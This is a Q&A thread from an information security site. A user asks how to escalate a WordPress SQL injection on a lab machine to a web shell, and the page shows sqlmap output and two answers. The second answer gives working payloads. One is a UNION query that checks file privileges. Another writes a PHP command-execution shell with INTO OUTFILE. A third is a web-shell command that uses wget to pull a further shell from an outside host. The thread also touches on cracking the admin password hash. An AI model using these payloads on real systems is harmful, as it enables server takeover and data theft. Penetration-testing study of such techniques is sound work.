Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for information security professionals. It's 100% free, no registration required.

I found an SQL injection vulnerability in a Wordpress installation inside one of my lab machines and I am trying to leverage it to upload a shell.

I can get the admin hash but it seems that it is quite complex as JTR and HASHCAT are taking long times without luck.

Here is the basic output from SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

I tried --os-shell option but It seems no write access as I get these errors:

[02:26:36] [WARNING] unable to retrieve automatically any web server path

[02:26:36] [INFO] trying to upload the file stager on '/var/www' via LIMIT INTO OUTFILE technique

[02:26:37] [WARNING] unable to upload the file stager on '/var/www'

[02:26:37] [INFO] trying to upload the file stager on '/var/www' via UNION technique

[02:26:37] [WARNING] expect junk characters inside the file as a leftover from UNION query

[02:26:38] [WARNING] it looks like the file has not been written, this can occur if the DBMS process' user has no write privileges in the destination path

I can get --sql-shell without problem. I tried the steps here (http://evilzone.org/tutorials/upload-shell-with-sql-injection/) to upload a shell but I get the following error

[02:00:16] [WARNING] execution of custom SQL queries is only available when stacked queries are supported

Now, I need a way to upload a shell to the target machine, any thoughts? Also any thoughts where I can crack Wordpress admin password hash online?

share|improve this question

2 Answers 2

up vote 2 down vote accepted

First of all if you are debugging a sqlmap failure you need to turn up the verbosity. No one can actually answer this question, because you did not gather the appropriate information.

The --os-shell works for MySQL by attempting to use an into outfile to write a file to the web root. This can fail for any number of reasons. The most common reason being that the database and web server and different machines. Ubuntu's default AppArmor rule sets forbid MySQL from writing to /var/www/. Also, into outfile requires file privileges that should never be granted (but often is). You could try using sqlmap's file-io functionality to read and write to the remote file system.

in the context of this application, dumping the contents of the Wordpress MySQL database will yield the administrator's password hash. Cracking this hash will yield a Wordpress admin account which almost always has the ability to upload and install Wordpress extensions.... or PHP shells.

share|improve this answer
    
AppArmor has made many a pentest quite a bit more difficult for me. I'm glad it's shipped by default for Ubuntu nowadays. –  Anorov Nov 1 '13 at 11:32
    
I already get the admin hash and tried cracking it using hashcat and the recent rockyou dictionary but no luck ! –  Ahmed Taher Nov 3 '13 at 0:30
1  
@Ahmed Taher dude, get a better cracking setup. –  rook Nov 3 '13 at 18:41
    
@Rook Thanks, please take a look at this post. security.stackexchange.com/questions/57262/… –  Ahmed Taher May 5 '14 at 2:38

Yes, You can write your shell onto the web server with SQL statements without logging into the admin panel or any other control panel.

But for this you have to met certain requirements:

  1. Your must have write privileges and a writable directory (where you have to upload your shell)
  2. Root Path (i.e /var/www/website/)
  3. Magic Quotes must be enabled

Check for write privileges

Now the question is how to check if you have write permissions? What you can simply do is read file_priv from the mysql.user table:

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

If it says Y after your current user, then you are lucky and you have write privileges.

Create a file to receive the shell

Now it's time to make use of MySQL statements. We're going to use INTO OUTFILE, which writes your selected rows onto a file. The basic syntax is:

select column_name from table_name into outfile "filepath/file.extension

Something like this should create a file named shell.php in the website directory and write that PHP code inside it:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/shell.php"

Access the shell

Now we can access our shell by visiting http://website.com/shell.php?cmd=whoami. You can run any command after cmd=. You can now upload a ready-made shellcode to the server using curl or `wget (on Linux servers):

`http://website.com/shell.php?cmd=wget http://othersite.com/shell.txt -O code.php`

And then you can access your shell with:

http://website.com/code.php

Hope you understood everything :)

share|improve this answer
    
Thanks...this was really informative. –  Ahmed Taher May 5 '14 at 2:39

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.